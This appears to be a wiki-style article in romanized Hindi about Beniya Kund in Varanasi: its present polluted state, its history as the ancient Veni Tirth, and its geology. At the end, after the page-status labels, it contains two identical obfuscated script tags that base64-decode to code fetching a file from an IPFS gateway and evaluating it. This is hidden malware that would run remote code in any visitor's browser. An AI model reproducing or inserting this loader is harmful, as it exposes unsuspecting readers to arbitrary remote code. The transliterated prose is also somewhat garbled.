बेनिया कुण्ड, वाराणसी

beniya kund uttar pradesh rajy ke varanasi nagar mean sthit hai. aj se kee hajar varsh poorv kashi ka beni tirth tha, samprati beniya bag ke vishal maidan ke ek chhor ka koo da-karakat v b di-b di jangali ghas se yukt chhoti se gandi jhil mean tabdil ho chuka hai. rakh-rakhav ke abhav mean is jhil mean pani itana kam hai ki vah kisi kam layak nahian hai aur pani itana ganda v durgandhayukt hai ki koee bhi adami isamean hath dalana tak uchit nahian samajhata. vaishakh v jyeshth mas ki garmi mean is jhil ka pani sookhakar nam matr rah jata hai.

aitihasik ullekh

videshi lekhika dayana elek ki pustak ‘banaras siti aauphh lait’ mean ‘veni tirth’ ka ullekh jems prinsep ne sanh 1822 ke banaras ke manachitr ke adhar par kiya hai. veni tirth ki charcha kashi khand mean bhi ki gayi hai. kashi ke sambandh mean prapt vivaranoan, manyataoan v charchaoan ke anusar yah nagar rajaghat v assi ke bich ek paha di par basa tha aur tatkalin samay mean rajaghat ko pathar mana jata tha ukt kshetr sarvadhik uanchaee par sthit hai jabaki assi kshetr ko nichala ilaka kaha jata tha. ukt manyataean aj ke sandarbh mean bhi utani hi samichin mani jati hai. uanchaee par sthit hone ke karan hi rajaghat mean us dauran kile ka nirman bhi kiya tha. raja banaras jisake nam par kashi ka nam badalakar banaras hua tha tatha durg (kila) rajaghat kshetr mean hone ka ullekh bhi puratatv vibhag ke pas hai.

bhoogarbhiy sanrachana

bhoogarbhiy sanrachana ke anusar aisa mana gaya hai ki uttar vahini ganga ke samanantar paha dinuma shahar se sati nadi bhi bahati hogi jo bad mean nagar ke anyany kundoan v sarovaroan mean tabdil ho gee hogi aur usi dauran veni tirth ka nirman hua hoga. prapt tathyoan ke anusar veni tirth ka roop beniyabag kshetr mean sanh 1863 tak vidyaman tha aur yah kund sampoorn beniyabag ke maidan ke madhy mean vishalakay kund ke roop mean tha.

sambhavatah 20vian sadi ke prarambh mean rakh-rakhav ke abhav v any karanoan se is kund ke roop mean parivartan ane laga aur koo de ke dher v gharoan ke malabe adi ke karan patana shuroo ho gaya. bad mean beniyabag ka maidan ho gaya. shayad isi karan kund ek gande talab ke roop mean aj vidyaman hai. yahaan gandagi ki bharamar hai. isake chalate yahaan aur as-pas ke kshetr mean machchharoan v makkhiyoan ka samrajy ho gaya hai aur aye din is kshetr mean sankramak rogoan ka prasar hota rahata hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>